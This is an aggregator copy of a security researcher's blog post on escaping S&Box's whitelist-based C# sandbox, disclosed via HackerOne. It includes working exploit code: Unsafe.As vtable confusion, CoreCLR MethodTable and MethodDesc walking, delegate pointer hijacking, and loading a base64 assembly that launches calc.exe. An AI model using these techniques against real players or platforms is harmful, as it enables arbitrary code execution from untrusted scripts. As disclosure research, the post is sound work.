How to open calc.exe from S&Box

Lobsters Hottest News

Summary

A security researcher examines the C# sandboxing in S&Box (Garry's Mod 2), which uses an API whitelist instead of a hardened runtime. By modifying the compile blacklist, they bypass the restrictions and crash the editor, demonstrating that the approach is insecure despite being similar to Space Station 14's system.

<p><a href="https://lobste.rs/s/r6lw7v/how_open_calc_exe_from_s_box">Comments</a></p>
Original Article
View Cached Full Text

Cached at: 05/21/26, 10:19 PM

# How to open calc.exe from S&Box Source: [https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/) Thursday May 21, 2026 So,S&Box went “open source”\. I don’t personally have any interest in the platform, but I*did*have interest in how they securely execute C\# code… So S&Box is “Garry’s Mod 2”, or maybe it’s Roblox Source 2, I really don’t care about it directly\. The thing that’s relevant to me is that instead of using Lua or something, they use full powered C\# for game scripting\. C\#/\.NET is not Lua: it is not designed to run untrusted code, so how do they get away with it? The solution is quite simple:[they scan your code and block loading it if you use any APIs like`File\.Open\(\)`](https://sbox.game/dev/doc/code/code-basics/api-whitelist/)\. Now, is this secure? Well… To be clear: if you are a security\-minded person, this is an atrocious idea\. The \.NET runtime is not hardened to intentionally execute hostile code like a browser Javascript engine is\. It*used*to be in the \.NET Framework days, but they gave up on that with modern \.NET, and I’ve heard there was a giant streak of vulnerabilities back then anyway\. On the other hand…[Space Station 14 does exactly the same thing](https://github.com/space-wizards/RobustToolbox/blob/899eef397c811a8ca22f079d19bbe51a3b2cdc30/Robust.Shared/ContentPack/AssemblyTypeChecker.cs), and I wrote the damn code for that\. I’m not going to pretend I’m any better than them\. The reason why we’re both using C\# is extremely simple: C\# is hands down one of the best programming languages ever, full stop\. I could do an entire blog post on just how*good*C\# is, but I’ll spare you that here\. In Space Station 14’s case, it’s no exaggeration to say that it’s a huge factor of why the project even succeeded in the first place\. But anyways, let’s check the sandbox whitelist, sha\-[*spits out drink*](https://github.com/Facepunch/sbox-public/blob/920e3760bcba27f2edf56902824dcb2db801c802/engine/Sandbox.Access/Rules/CompilerGenerated.cs) ``` // Compiler generates all this scary shit that the user shouldn't be using // User code is checked in Sandbox.Compiling blacklist "System.Private.CoreLib/System.Runtime.CompilerServices.Unsafe.Add*", "System.Private.CoreLib/System.Runtime.CompilerServices.Unsafe.As*", "System.Private.CoreLib/System.Runtime.CompilerServices.Unsafe.AsRef*", ``` What are they*thinking*? It can’t be that easy can it??? ## [Can we smash the stack?](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#can-we-smash-the-stack) Alright\. Let’s just try this\. There’s no way this works\. Let’s install the damn game, open the edit\- the editor crashes on load\. God damnit\. And so does the game? What is going on? Half an hour of fudging around later I bother to attach WinDBG to the editor and… ![WinDbg screenshot showing stacks for engine2, vrclient, and finally amdlvr64.](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/amd_driver.webp)Of course I don’t regret buying an AMD GPU, why do you ask? Yes, AMD’s GPU driver has a bug where it will cause an app crash if an app checks for VR without SteamVR running but*with*a Valve Index plugged in\.*Unplugs DisplayPort cable*\. I open the a new project in the editor, open the C\# example component it generated, paste in the following code: ``` var i = 5; ref var r = ref i; while (true) { r = 0; r = ref Unsafe.Add(ref r, 1); } ``` …and the editor refuses to compile it\. Okay, whatever, we saw that coming\. Thankfully I don’t even need dnSpy for this,[we can just compile it ourselves\!](https://github.com/Facepunch/sbox-public)\. I removed the compile blacklist with a simple`&& false`in the right spot, and opened it again\. It compiles the code without a hitch\. I make a scene, add the component to an empty object, press run… and the editor crashes\! As expected\. But will it work in\-game? I find the publish button, create an organization first \(I claimed`slugcat`\), publish it, check the game settings to make sure it’s unlisted \(I*am*somewhat responsible\), and… I can’t find my game in the UI anywhere\. It*says*that unlisted games can be found “by URL” or “by people in the organization” but I sure didn’t find shit like that in the game’s game browser\. After 20 minutes of flipping through UIs, going insane, and even asking a friend, I realized I could run`game slugcat\.calc`in the console to load the game\. Aaand… it didn’t crash, because I made a*new*scene instead of modifying the default example scene that actually got loaded\. One publish later \(thankfully, publishing is quite fast\) and… Game crash\. ***Oh my gooood*** ## [Allowing unsafe code](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#allowing-unsafe-code) Okay, so, since they’re clearly not checking shit when you load the game, and they sure as hell don’t have an ILVerify step like we do in SS14, we should just be able to compile full`unsafe`code and get away with it\. So just modify the editor again\. I want to say this was “pretty easy” but admittedly it took quite a bit of trial and effort\. Editing & restarting the editor took a good while\. I couldn’t*just*tell it to allow unsafe code, because that makes the compiler put`\[UnverifiableCode\]`on the module and that trips their loader sandbox\. So I had to whip out`Mono\.Cecil`and strip that shit\.*It wasn’t hard\.*It was just painful iteration, me not reading error messages correctly, and being a bit of a clown\. Also, extremely annoyingly, if you restart the editor while your code is failing to load due to a sandbox error, it will never load it again\. This is, of course, likely to never matter to anybody but me\. With that, I had`unsafe`code running in the editor\. Strictly speaking I didn’t*need*this, as C\#’s`unsafe`doesn’t work like Rust’s: it only gates pointer types themselves, not any of the equally lethal APIs like`Unsafe\.As\(\)`\. That said, writing pointer code with pointer syntax is a whole lot easier than whatever you’d make with`Unsafe\.As\(\)`\. ## [Getting up to shenanigans](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#getting-up-to-shenanigans) In my years working on SS14 I’ve spent a fair amount of time in the[C\# Discord](https://discord.gg/csharp), and the most fun place there is`\#allow\-unsafe\-blocks`\. I’ve done my fair share of cursed`Unsafe\.As`shenanigans for optimizations that I’m*pretty*sure won’t break anything\. I’ve never used this knowledge for*malice*, however\. For example, S&Box’s whitelist allows us to get some basic info about`Type`objects, but it blocks access to the`Assembly`property \(and the`Assembly`type itself, of course\)\. I know, however, that`Type\.Assembly \{ get; \}`is a virtual function, and virtual functions are implemented with vtables\. So if we just use`Unsafe\.As\(\)`to pretend a`Type`is something else, we can call any virtual function we want on it: ``` var type = typeof(Type); var assembly = Unsafe.As<Lol>(type).REAL(); public class Lol { public virtual void A4() { } public virtual void A5() { } public virtual void A6() { } public virtual void A7() { } public virtual void A8() { } public virtual void A9() { } public virtual void AA() { } public virtual void AB() { } public virtual void AC() { } public virtual void AD() { } public virtual void AE() { } public virtual void AF() { } public virtual void A10() { } public virtual void A11() { } public virtual void A12() { } public virtual void A13() { } public virtual void A14() { } public virtual object REAL() // 15 { return null; } } ``` Where did I get that`15`from? By using[SOS](https://learn.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension)you can inspect quite a bit of CoreCLR internals\. So all we need to do is: 1. Run a C\# program in WinDBG[1](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:1)\. 2. Use`\!dso`or`\!dumpruntimetypes`to get a`RuntimeType`[2](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:2)instance from somewhere\. 3. Inspect the object with SOS to see where its`MethodTable`is\. 4. Run`\!dumpmt \-MD <mt\_addr\>`\. ``` 0:000> !dumpruntimetypes Address Domain MT Type Name 0194a50f0020 0194b0bc3e60 7ff8cd41c6d0 System.String 0194a50f3a90 0194b0bc3e60 7ff8cd555658 System.Resources.ResourceManager 0194a50f3ad8 0194b0bc3e60 7ff8cd555e60 System.Resources.ResourceReader /* ... */ 0:000> !dumpobj /d 194a50f0020 Name: System.RuntimeType MethodTable: 00007ff8cd2fa180 Canonical MethodTable: 00007ff8cd2fa180 Tracked Type: false Size: 40(0x28) bytes Type Name: System.String Type MT: 00007ff8cd41c6d0 File: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\10.0.0\System.Private.CoreLib.dll Fields: MT Field Offset Type VT Attr Value Name 00007ff8cd620e38 4000386 8 ...Reflection.Binder 0 static 00000194b500ef40 <DefaultBinder>k__BackingField 00007ff8cd3d3268 4000387 8 System.Char 1 static 2e Delimiter /* ... */ 0:000> !dumpmt -MD 00007ff8cd2fa180 Canonical MethodTabl 00007ff8cd2fa180 Module: 00007ff8cd2f4000 Name: System.RuntimeType mdToken: 00000000020000B5 File: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\10.0.0\System.Private.CoreLib.dll AssemblyLoadContext: Default ALC - The managed instance of this context doesn't exist yet. BaseSize: 0x28 ComponentSize: 0x0 DynamicStatics: true ContainsPointers: true Number of Methods: 221 Number of IFaces in IFaceMap: 4 -------------------------------------- MethodDesc Table Entry MethodDesc JIT Slot Name 00007FF8CD3B0000 00007ff8cd2f4698 NONE 0000000000000000 System.Object.Finalize() 00007FF8CD3B0300 00007ff8cd2f9938 NONE 0000000000000001 System.RuntimeType.ToString() 00007FF8CD3B0318 00007ff8cd2f9cc8 NONE 0000000000000002 System.RuntimeType.Equals(System.Object) 00007FF8CD3B0330 00007ff8cd2f9e58 NONE 0000000000000003 System.RuntimeType.GetHashCode() 00007FF8CD3B0348 00007ff8cd2f9010 NONE 0000000000000004 System.RuntimeType.CacheEquals(System.Object) 00007FF8CD3B0360 00007ff8cd2f9c20 NONE 0000000000000005 System.RuntimeType.get_MemberType() 00007FF8CD56AEE0 00007ff8cd2f9950 PreJIT 0000000000000006 System.RuntimeType.get_Name() /* ... */ 00007FF8CD3B0498 00007ff8cd2f9488 NONE 0000000000000014 System.RuntimeType.get_FullName() 00007FF8CD56AE50 00007ff8cd2f9b78 PreJIT 0000000000000015 System.RuntimeType.get_Assembly() ``` So yeah, I just hardcoded the value\. Obviously this won’t be be reliable between runtime versions, but from my testing it seemed to be consistent between restarts, so that’s good enough for me\! You can also see why`A0`through`A3`are missing in my`Lol`type: they’re the basic four methods`Finalize\(\)`,`ToString\(\)`,`Equals\(System\.Object\)`, and`GetHashCode\(\)`that are defined on`System\.Object`, so every type has them\. Also, if you’re curious: the fact that`REAL\(\)`returns an`object`whereas the the actual function returns an`Assembly`does not matter whatsoever\. It’s all just a single\-pointer object reference at runtime\. That said, you cannot*just*do that kind of fudging by mixing reference and non\-reference types\. If I made`REAL\(\)`return a`nuint`it’d probably still get me the address on the x64 ABI, but it*would*open a GC hole\. Not that that’d matter for our use case… But anyway, you can run the above code and you’ll get the type’s assembly in your field, at least on Windows \.NET 10\.0\.0\. And you used to be able to do that in S&Box too\. I could even print it to the console, which allows you to view the assembly object in the inspector\. Quite funny\! Having objects printable to the console and clickable to open the inspector is sick\. I need to steal that for RT\. ## [Okay, so how do we calculate?](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#okay-so-how-do-we-calculate) At this point it’s pretty clear we’re basically unstoppable with what we’ve got\. This should be enough for a security disclosure, but that would be boring\. So let’s open the Windows calculator,`calc\.exe`\. There’s a few paths we could take, here\. We could try to somehow get access to`Process\.Start\("calc\.exe"\)`and just run that\. We could also try to execute[a raw x64 assembly payload](https://github.com/peterferrie/win-exec-calc-shellcode/blob/360ba3cbc47950037ff8ceb2ad0e49c7480427e6/w64-exec-calc-shellcode.asm), but \.NET enforces W^X so that’s probably annoying\. In hindsight, it’s insane how*easy*this would’ve been if \.NET*didn’t*have W^X\. The mitigations do what they should\. We already have the`Assembly`object, so I decided to go for calling`Assembly\.Load\(byte\[\]\)`somehow\. That’s a static function, not a virtual, so we can’t*just*use the earlier trick\. Thankfully, those same`\!dumpmt \-MD`dumps from earlier gave me a pretty good idea of where to go next\. To post another snippet: ``` 0000000000000000 00007ff8cd2f98a0 NONE 00000000000000BE System.RuntimeType.TryChangeTypeSpecial(System.Object ByRef) 00007FF8CD5695F0 00007ff8cd2f9980 PreJIT 00000000000000BF System.RuntimeType.CreateInstanceCheckThis() 00007FF8CD569590 00007ff8cd2f99a0 PreJIT 00000000000000C0 System.RuntimeType.CreateInstanceImpl(System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo) 0000000000000000 00007ff8cd2f99c0 NONE 00000000000000C1 System.RuntimeType.GetUninitializedObject() 00007FF8CD56A028 00007ff8cd2f99e0 PreJIT 00000000000000C2 System.RuntimeType.CreateInstanceDefaultCtor(Boolean, Boolean) 0000000000000000 00007ff8cd2f9a00 NONE 00000000000000C3 System.RuntimeType.CreateInstanceOfT() ``` Unlike the earlier example, these are*not*virtual functions\. The dump also shows static and regular instance methods, so this made me think it*shouldn’t*be too hard to get to every non\-virtual functions either\. First, let’s get at the`MethodTable`\. I’ll let the[extremely well\-commented CoreCLR source code](https://github.com/dotnet/runtime/blob/7ff108276e94068d5935d4ed273cb3f387a4b550/src/coreclr/vm/methodtable.h)[3](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:3)explain what that is: ``` // A MethodTable is the fundamental representation of type in the runtime. It is this structure that // objects point at (see code:Object). It holds the size and GC layout of the type, as well as the dispatch table // for virtual dispach (but not interface dispatch). ``` In memory, the start of every object[4](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:4)is a pointer to the`MethodTable`\. So basically we can just treat an`object`variable as a`MethodTable\*\*`: ``` public static MethodTable* Get(object o) { // Yes, this is a terrible idea. The compiler even tells us as such. We simply reply "didn't ask." #pragma warning disable CS8500 return **(MethodTable***)&o; } ``` You know, that might be a GC hole\. Womp womp\. We’ll also need to figure out the layout of the`MethodTable`so we can read it from our own code\. I tried to take a shortcut here by looking at the C\#\-side copy in the CoreCLR code, so I opened`MethodTable\.cs`in the dotnet runtime source code\. That’s actually the implementation for NativeAOT, not CoreCLR, meaning that it took me quite a bit of “what the fuck this doesn’t make any sense” before I realized the CoreCLR one is in`RuntimeHelpers\.cs`instead\. Woops\! That’s a lot of time wasted\! Vtable slots go in memory*after*the main`MethodTable`itself, so I took this as assuming that it’s just a flat array with all the slots dumped earlier\. I might’ve also been using a[2005 MSDN article](https://learn.microsoft.com/en-us/archive/msdn-magazine/2005/may/net-framework-internals-how-the-clr-creates-runtime-objects)as a secondary reference which, uh, yeah I don’t think everything stays the same across two decades\. So I did some basic pointer arithmetic \(yeah sorry no code snippet I already don’t have the code for that anymore\) and seemed to read the same values that`\!dumpmt`was giving me\. So I think we have a function pointer, how do we call it? Oh that’s quite easy, actually\! We just take a delegate and use`Unsafe\.As`to mess with[its internals](https://github.com/dotnet/runtime/blob/7ff108276e94068d5935d4ed273cb3f387a4b550/src/coreclr/System.Private.CoreLib/src/System/Delegate.CoreCLR.cs): ``` sealed class DelegateImpl { // _target is the object we will invoke on internal object _target; // Initialized by VM as needed; null if static delegate // MethodBase, either cached after first request or assigned from a DynamicMethod // For open delegates to collectible types, this may be a LoaderAllocator object internal object _methodBase; // Initialized by VM as needed // _methodPtr is a pointer to the method we will invoke // It could be a small thunk if this is a static or UM call internal void* _methodPtr; // In the case of a static method passed to a delegate, this field stores // whatever _methodPtr would have stored: and _methodPtr points to a // small thunk which removes the "this" pointer before going on // to _methodPtrAux. internal void* _methodPtrAux; } ``` So… ``` var pMTAssembly = MethodTable.Get(assembly)->m_pParentMethodTable; for (var i = 0; i < pMTAssembly->m_wNumVirtuals; i++) { Console.WriteLine($"[{i:X02}] {(nint)MethodTable.GetSlot(pMTAssembly, i):X016}"); } const int assemblyLoadSlot = 0x4A; // Assembly.Load(byte[]) var ptrAssemblyLoad = MethodTable.GetSlot(pMTAssembly, assemblyLoadSlot); Func<byte[], object> action = Lol.Load; var delegateImpl = Unsafe.As<DelegateImpl>(action); delegateImpl._methodPtrAux = ptrAssemblyLoad; var payload = Convert.FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA..."); action(payload); ``` I actually have to get the “parent” method table of the assembly, as`Assembly`objects are actually implemented by`RuntimeAssembly`, and the child’s`MethodTable`does not have non\-virtual slots for the parent\. The “payload” there is just a separate \.NET assembly I compiled and then turned into Base64\. I expected to get immediate code execution the moment it was loaded: ``` public class Class1 { [ModuleInitializer] public static void Foobar() { Process.Start("calc.exe"); } } ``` So, take a guess: how many things did I do wrong on this first attempt? Because let’s not kid ourselves\. ![Fatal error. 0xC0000005](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/crash.webp) Much time reading code and staring at WinDBG memory view later, here’s the problems: - The[vtable is not a flat array](https://github.com/dotnet/runtime/blob/7ff108276e94068d5935d4ed273cb3f387a4b550/src/coreclr/vm/methodtable.h#L1588-L1636)\. I have no idea how[I managed to read the slots in the first place](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/slots_worked.webp), but I assume it was sheer dumb luck with allocation layouts\. - [Non\-virtual method slots are*not*stored in the regular vtable\.](https://github.com/dotnet/runtime/blob/7ff108276e94068d5935d4ed273cb3f387a4b550/src/coreclr/vm/methodtable.h#L1562-L1578)I was just reading garbage data that happened to be a memory address\. - [`\[ModuleInitializer\]`does not run on assembly load, it runs on first usage of a type in the assembly\.](https://github.com/dotnet/runtime/blob/7ff108276e94068d5935d4ed273cb3f387a4b550/docs/design/specs/Ecma-335-Augments.md#module-initializer) Riiight\. Tackle the first two first\. So I found that`GetSlotPtrRaw`function in the C\+\+ code I linked above, which indicates that “non\-vtable” slots are stored in the`MethodTableAuxiliaryData`\. Whatever that is\. So after copy pasting the C\+\+ code a bunch I got this: ``` public static void* GetNonVirtualSlot(MethodTable* mt, int slot) { var slotsEnd = (void**)((nint)mt->m_pAuxiliaryData + mt->m_pAuxiliaryData->m_offsetToNonVirtualSlots); var finalPtr = slotsEnd - (1 + (slot - mt->m_wNumVirtuals)); return *finalPtr; } ``` Does*that*get us the function address? Nope\. ![Screenshot of WinDbg showing a bunch of stuff going on.](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/windbg.webp)More hours staring at WinDBG memory views… In the end I don’t know what the deal with this all was\. Maybe that`GetSlotPtrRaw`is only meant to be used on generic MTs, but it’s clear there’s absolutely no method slots in the auxiliary data here\. After more hours of reading code and docs I eventually figured I should just look at the`MethodDesc`s\. I confirmed \(through more WinDBG memory view interpretation\) that I could get the code addresses of these non\-vtable slots from there\. How do we get them? Simple\. You get the`EEClass`from the MT, that contains a pointer to a linked list of`MethodDescChunk`s\. Each chunk contains an amount of`MethodDesc`s\. These`MethodDesc`s are variable size depending on their flags, so to get iterate them we need to[literally index a table based on the flags field](https://github.com/dotnet/runtime/blob/7ff108276e94068d5935d4ed273cb3f387a4b550/src/coreclr/vm/method.cpp#L68-L102)to get the size\. To get the actual code from a`MethodDesc`we need to access the optional field for non\-vtable slots after the main structure\. All in all, the main code looks like this: ``` public static MethodDesc* GetMethodDescForSlot(MethodTable* mt, int slot) { var eeClass = mt->m_pEEClass; // This does not work for generic MTs for (var chunk = eeClass->m_pChunks; chunk != null; chunk = chunk->m_next) { var methodDescPtr = (nuint) chunk + (nuint)sizeof(MethodDescChunk); for (var i = 0; i < chunk->m_count; i++) { var methodDesc = (MethodDesc*)methodDescPtr; Console.WriteLine($"MD {methodDescPtr:X016} -> {methodDesc->m_wSlotNumber:X04} class: {methodDesc->GetClassification()}"); if (methodDesc->m_wSlotNumber == slot) return methodDesc; methodDescPtr += methodDesc->GetMethodDescSize(); } } throw new ArgumentException("Unable to find slot!"); } public static void* GetMethodEntrypoint(MethodDesc* pMD) { if ((pMD->m_wFlags & (uint)MethodDescFlags.mdfHasNonVtableSlot) == 0) throw new NotSupportedException("Would need to get code address from MT slot instead"); var addr = (nuint)pMD; var codeAddr = addr + pMD->GetBaseSize(); return *(void**)codeAddr; } ``` That’s it, we got the real code address\.*As long as the method is already loaded*, this works\. You*may*have noticed in the earlier dumps that a lot of those slots seem to be be empty: that’s because nothing called them yet, so the runtime has no reason to initialize them\. For now, let’s hope S&Box uses the same functions we need so they’re already available\. Oh yeah and this may also be unreliable if the JIT tiers & recompiles the code, but I don’t care\. Okay, now how do we solve the`\[ModuleInitializer\]`issue? Quite easy actually: we can just call`Assembly\.CreateInstance\(\)`to instantiate`Class1`and really initialize the module\. The shorthand instance methods don’t seem to be available, but calling the[full\-signature virtual function](https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.createinstance?view=net-10.0#system-reflection-assembly-createinstance(system-string-system-boolean-system-reflection-bindingflags-system-reflection-binder-system-object()-system-globalization-cultureinfo-system-object()))with the vtable trick from earlier seems to work just fine\! So with all of the above, it works\. At least in my test program\. It opens`calc\.exe`\. I then load it up in S&Box’s editor, probably fix some minor issues \(I probably left a`Console\.WriteLine\(\)`in somewhere\), and it works in the editor too\. Hell yeah\. ## [No longer basic \(pointer\) arithmetic](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#no-longer-basic-pointer-arithmetic) I publish, load the game in the unmodified Steam client, and… ![S&Box console giving a bunch of compiler errors for unsafe](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/nope.webp) Wait, so they*recompile the code on the client?*What? Oh god damnit man\. Like, this*doesn’t stop me*, I already demonstrated I can use`Unsafe\.As`and such just fine\. All this does is make it so I can’t use pointers directly\. So fine, now I have to rewrite all my damn code to use extremely verbose`Unsafe`ref methods\.*sigh* ``` ref struct ObjectField { public ref ulong ObjectData; } ref struct ObjectData { public ref uint MT; } public static ref MethodTable Get( object o ) { // Reminder: this was a oneliner. ref var objField = ref Unsafe.As<object, ObjectField>( ref o ); ref var objData = ref Unsafe.As<ulong, ObjectData>( ref objField.ObjectData ); return ref Unsafe.As<uint, MethodTable>( ref objData.MT ); } ``` But yes\. After rewriting all my code, hunting down where I’m accidentally using`UIntPtr`\(an oversight in their whitelist, as`IntPtr`is available\), I published again, and… ![Stack trace indicating Assembly.Load() is not available](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/load_not_available.webp) Well, good thing I put in that safeguard to fail nicely\.`Assembly\.Load\(\)`is not directly accessible in the real client\. The solution to this was pretty easy: I use another call of`Assembly\.CreateInstance\(\)`to create a`System\.Runtime\.Loader\.AssemblyLoadContext`, and then call`LoadFromStream\(\)`on that by fudging with a delegate\. There we go\.`calc\.exe`by loading an S&Box game\. ## [Disclosure](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#disclosure) I reported this vulnereability via their HackerOne program and they were quickly[5](https://slugcat.systems/post/26-05-21-how-to-open-calc-exe-from-sbox/#fn:5)able to reproduce and awarded a bounty\. I can’t be arsed to check if the terms or something say if I’m allowed to say how much so I’ll just say it was a respectable amount, and I split it with[Kaylie](https://afterlight3149.net/)as she helped out a decent amount\. The actual bug in their security architecture was not that the their assembly load sandbox allowed`Unsafe`\. The compiler generates those in some cases that are totally fine, and instead they always re\-compile the code on the client and have that step do another layer of higher\-level whitelisting\. Apparently, this recompile entirely forgot to apply the first\-stage whitelist, which was supposed to block`Unsafe`\. Oops\! I originally wrote this post at the end of November last year\. Didn’t get around to posting it until now\!

Similar Articles

@ghumare64: https://x.com/ghumare64/status/2055329887431393309

X AI KOLs Timeline

A deep dive into why local coding agents like Claude Code and Codex are converging on libkrun instead of Firecracker for sandboxing, as Firecracker cannot run natively on macOS. The article also introduces iii-sandbox, an open-source hardware-isolated execution layer built on libkrun.

Dancing mad with sandboxing

Lobsters Hottest

A technical blog post discussing the complexities and frustrations of implementing sandboxing techniques for security.

Boxes.dev

Product Hunt

Boxes.dev allows you to run Claude Code and Codex in your own cloud environment.